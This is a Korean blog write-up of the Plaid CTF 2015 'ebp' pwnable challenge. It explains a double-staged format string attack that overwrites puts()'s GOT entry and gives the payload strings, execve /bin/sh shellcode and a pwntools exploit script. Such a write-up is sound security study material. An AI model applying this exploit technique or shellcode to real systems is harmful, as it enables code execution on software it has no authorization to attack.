Write-up

[Plaid CTF 2015] ebp (feat. double staged format string attack)

ch4rli3kop 2017. 11. 1. 21:59
반응형

Plaid CTF 2015 EBP (pwnable 160) 문제이다.




문제를 살펴보면, buf에 1024 입력을 받는다. 그 후 echo()가 수행되는데, echo()를 보면





echo()는 make_response()와 puts()로 이루어진 걸 알 수 있다. 궁금하니 이번에는 make_response()를 봐보자.




make_response()는 snprintf()를 수행함을 알 수 있다.

취약점들이 보인다. 일단, snprintf()와 puts()가 포맷스트링 버그가 일어날 수 있는 형태인데, 처음 사용되는 snprintf()에서 buf 에 형식문자들이 존재하여 포맷스트링 버그가 발생하면 그 결과 값이 response에 저장되므로 response 에는 형식문자가 들어갈 수 없다. 따라서 이 문제는 snprintf()에 format string attack을 가하는게 핵심이다.


snprintf() 에 break point 를 걸어 스택의 상황을 한 번 살펴보도록 하겠다.




snprintf() 가 수행되기 직전의 스택의 상황이다. 나는 여기서 format string attack을 통해 puts()의 GOT에 있는 값을 쉘코드가 있는 주소 값으로 덮어 씌워 exploit을 수행할 생각이다. 여기서 필요한 것은 이 스택 안의 어떤 스택을 가리키는 포인터이다. 물론 이 포인터는 스택 안에 존재하여 내가 건들 수 있어야 한다.



현재 스택의 상황을 분석한 것이다. 0xff853f34를 가리키고 있는 0xff853ea4에서 format string attack을 하여, 0xff853f34에 있는 값을 puts()의 GOT 주소로 덮어 씌울 것이다. 그 후 puts()의 GOT 주소를 가리키고 있는0xff853f34에서 format string attack을 하여 최종적으로 puts()의 GOT의 값을 buffer 중에 shellcode 가 있는 주소의 값으로 덮어 씌울 것이다. 이 기술은 double staged format string attack 이라고 하는데 다음의 사이트를 참고하면 좋을 것 같다. 


http://pwn3r.tistory.com/entry/Docs-Double-Staged-Format-String-Attack

오지고 지리고 아리랑고개를 넘어 새가 지저귀는 부분인 짱짱 해커 행님의 사이트다.




자 이제 puts()의 GOT 주소도 알아냈겠다. 준비가 끝났다. 포맷스트링에 대한 자세한 설명은 생략하겠다. 설명한 포스팅이 있으니 참고하기를 부탁한다. http://chp747.tistory.com/57


payload는 다음과 같다.


stage_1 = '%c'*21 + '%134520831c' + '%n'

#134520831 + 21 = 0x804A014 이다.


stage_2 = '%204c'  + '%59$n'

#134520831 + 21 + 204 = 0x804A0E0 으로 'nop' + 'shellcode' 중의 nop으로 덮여있는 어딘가이다.


payload = stage_1 + stage_2 + '\x90'*50 + shellcode


를 입력하고 snprintf()를 수행한 직후의 스택 상황을 보면



이제 c 로 계속 진행을 해주면 puts()함수가 call하는 과정에서 eip가 shellcode가 있는 쪽으로 튀게 된다.



끝!



exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
 
= process('./ebp')
elf=ELF('./libc.so.6')
 
#shellcode_add = 0x804a0e0
 
# puts@got : 0x804a014
 
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
raw_input()
 
stage_0=''
stage_0+= '%c'*21 + '%134520831c'
stage_0+= '%n'
#stage_0 = '%134520852c%23$n'
#stage_0 += '%2c%24$n'
 
 
stage_1 = '%204c'  + '%59$n'
#r.sendline('%c'*21 + '%134520831c' + '%n' + '%204c' + '%59$n')
#r.sendline('%134520852c%23$n' + '%204c%59$n')
r.sendline( stage_0 +  stage_1 + '\x90'*50 +shellcode)
 
#cmd='cat /home/ebp/flag'
 
#print r.recvline()
 
raw_input()
 
#r.sendline('AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%n')
#r.sendline("%43690c%17$n")
r.interactive()
 
cs



반응형